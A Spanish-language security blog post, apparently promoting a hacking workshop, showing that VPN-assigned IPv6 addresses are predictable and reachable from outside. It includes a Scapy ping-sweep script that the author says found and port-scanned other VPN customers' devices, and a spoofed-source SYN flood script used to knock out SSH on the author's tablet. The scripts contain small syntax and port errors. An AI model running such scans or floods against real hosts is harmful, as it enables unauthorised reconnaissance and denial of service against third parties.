28 abr. 2016

¿MI CONEXION VPN ME OFRECE SEGURIDAD SI ME DA DIRECCIONES IPV6?

Cuantas veces nos han recomendado que utilicemos una red privada VPN cuando requiera conectarme a Internet desde una red no confiable como lo es una red inalámbrica (Wi-Fi) pública. De este modo, el tráfico que se genera viaja cifrado y se dificulta que un tercero pueda robar información confidencial. 

Sin embargo con IPv6 estamos sujetos a las amenazas que lleva consigo el despliegue de este protocolo.


En el último mes, note que mi proveedor de VPN me estaba asignando direcciones IPv6 para mi conexión, el tema es que en cada conexión me ofrecía una dirección diferente pero que estaba sujeta a un patrón, como se puede apreciar a continuación:

Conexión 1


Conexión 2


Conexión 3


Conexión 4


Conexión 5


Es de aclarar que una dirección IPv6 contiene 128 Bits, de los cuales 64 son utilizados en este caso por mi proveedor VPN para identificar la Sub Red, por tanto esta porción se repite en todas mis conexiones las cuales oculto para conservar la identidad de mi proveedor.

Los últimos 64 bits son utilizados por mi proveedor VPN para asignárselo a cada cliente que requiera una conexión, en mi caso en las 5 conexiones podrán notar que estos bits en formato hexadecimal terminan en:

  • 8000::1009
  • e000::100c
  • 1000::1003
  • 2000::1015
  • a000::100d



Cada grupo de números tiene 4 dígitos hexadecimales, como podrá notar el primer dígito del primer grupo de las porción de Hosts es un numero aleatorio hexadecimal el cual puede tomar cualquier valor de 0 a f (0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f) y los tres dígitos restantes son Ceros (000).

Para el ultimo grupo de 4 dígitos, los dos primeros son (10) y los dos restantes pueden igual tomar valores hexadecimales de 0 a f.

Realizando conexiones a través de otro proveedor VPN, obtengo otro patrón que fácilmente puedo identificar en los últimos 64 Bits de la dirección :

  • 8::100a
  • 3::102f
  • f::1033
  • 2::105a
  • 3::1018




La primera prueba que hice, es a través de una Servidor VPS, que me ofrece IPv6 pueda hacer un Ping6 a mi maquina enlazada con la VPN, el resultado se ve a continuación:


Como se puede ver el Ping6 respondió sin problema, lo que me hace suponer que podría hacer un escaneo de puertos con Nmap.  Para ello en la maquina cliente VPN configuro adecuadamente los servicios de Apache y Ssh y los inicio.


Al lanzar Nmap desde mi Servidor VPS, evidencio que este descubre de manera efectiva los puertos abiertos:


A lo que lleva mi primera conclusión:  La dirección IPv6 que me ofrece mi proveedor VPN, puede ser vista y escaneada desde cualquier equipo que también tenga una dirección IPv6 de tipo Global Unicast.

¿Pero sera que esto sucede con otros clientes de mi proveedor VPN?, pues bien contrui un Script que me permitiera identificar los equipos que responde en el mismo segmento IPv6 y el resultado me dejo desconcertado, decubri ademas de PC's; equipos móviles con Android y IOS que estaban conectados en el momento.   De igual manera seleccione dos equipos al azar, a los cuales corrí Nmap obteniendo el descubrimiento de puertos y arquitectura esperada.


A continuación presento el Script utilizado, el cual se combina con una captura de trafico en Wireshark del la interfaz "tun0" aplicando el filtro "ICMPv6.type == 129", para que solo muestra las maquinas que responden el Ping6.


##########################################################################
# Script Vpn Ndp   (vpnndpipv6.py)
##########################################################################
from scapy.all import *
from scapy.layers.inet6 import *
import random

def randstring(length=10):
   valid_letters='0123456789abcdef'
    return ''.join((random.choice(valid_letters) for i in xrange(length)))

for i in range(100):
   ip_origen="AAAA:AAAA:A:AAA::AAAA"
   ip_destino="BBBB:BBBB:BBBB:" +  randstring(1) + "::10" + randstring(2)
   p=IPv6(dst=ip_destino,src=ip_origen)/ICMPv6EchoRequest()
   send(p,iface="tun0",verbose=False)
   print "Packets Sent: " + str(i) + "---> " + ip_destino

# Notas:  Reemplazar las AAAA por la direccion de IPv6 otorgada por el proveedor VPN
#              Reemplazar las BBBB por la identificación de Sub Red IPv6 otorgada por el VPN  y 
#              construir los últimos 64 bits en base al patrón deseado 
#              Incrementar el Ciclo para mayor efectividad Ejm:  for i in range (9000)
###########################################################################



A lo que lleva mi segunda conclusión:  Los clientes de mi proveedor VPN pueden verse entre si y por tanto puede ser escaneados desde cualquier otro equipo que también sea cliente del mismo proveedor VPN o de cualquier dirección IPv6 de tipo Global Unicast.


Ahora se me ocurre; que tal si realizo un ataque de tipo SYN FLOOD al servicio SSH activo en mi Tablet Nexus que tiene instalada Kali Nethunter y la cual esta conectada a la VPN.

La siguiente imagen muestra la Tablet conectada a la VPN y donde he activado los servicios de SSH y Apache:



El resultado del escaneo a través de Nmap desde mi VPS u otro cliente VPN es:



Para ello, echando mano de Scapy y del taller realizado por Pablo González y Rafa Sanchéz en la pasada Cybercamp 2015 la cual pueden ver en el canal de Youtube, realice el ataque que consiste en enviar muchos paquetes SYN desde otra conexión VPN al puerto 22 del cliente VPN victima; donde tengo conectado la Tablet, generando como origen de ataque diferentes IPv6.

El Script  utilizado se muestra a continuación:

##########################################################################
# Script Syn Flood   (synfloodipv6.py)
##########################################################################
from scapy.all import *
from scapy.layers.inet6 import *
import random

def randstring(length=100):
    valid_letters='0123456789abcdef'
    return ''.join((random.choice(valid_letters) for i in xrange(length)))

for i in range(1000):
   ip_origen="AAAA:AAAA:AAAA:AAAA:" + randstring(4) + ":" + randstring(4) + ":" randstring(4) + ":" + randstring(4)
   p=IPv6(dst="BBBB:BBBB:BBBB:BBBB::BBBB", src=ip_origen)/TCP(sport=RandShort(), d rt=23, flags="S")
   send(p,iface="tun0",verbose=False)
   print "Packets Sent: " + str(i) + "---> " + ip_origen

# Notas:  Reemplazar las AAAA por la identificación de Sub Red IPv6 otorgada por el VPS  y 
#              construir los últimos 64 bits en base al patrón deseado
#              Reemplazar las BBBB por la dirección IPv6 otorgada por el proveedor VPN
#              Incrementar el Ciclo para mayor efectividad Ejm:  for i in range (9000000)
###########################################################################

Al ejecutar el Script podemos notar que al cabo de unos minutos, el servicio SSH de la tablet queda fuera de servicio:


Esto se debe al envió masivo de paquetes SYN desde diferentes IPv6, como se evidencia en la siguiente captura:


Al cabo de unos minutos el servicio deja de funcionar, como se evidencia en la siguiente captura

A lo que lleva mi tercera conclusión:  Las direcciones IPv6 que ofrece mi proveedor VPN no están libres de recibir ataques de negación de servicios.

Lo peor es que al hacer las pruebas de mi VPS hacia la VPN  y de la VPN a la VPS obtuve los mismo resultados.


CONCLUSIÓN FINAL

Si bien es cierto las VPN's me ofrece la "Privacidad" requerida para mi operación cotidiana, no estoy exento a los ataques contra la "Disponibilidad" de los servicios que tenga activada en el cliente VPN.


Descubre mas de estas técnicas en nuestro "Taller de IPv6 - De Novato a Experto" que estamos realizando en las diferentes ciudades y países a través de Universidades y/o Cámaras de Comercio, para mayor información e inscripciones visita nuestra pagina oficial http://www.thehackingday.com/ o través de la cuenta de Twitter @TheHackingDay


Hasta pronto...... ThdJca
  

Nuestra Referencia Bibliográfica




  















No hay comentarios:

Publicar un comentario

Tus Comentarios son Importantes para Nosotros Siéntete Libre De Opinar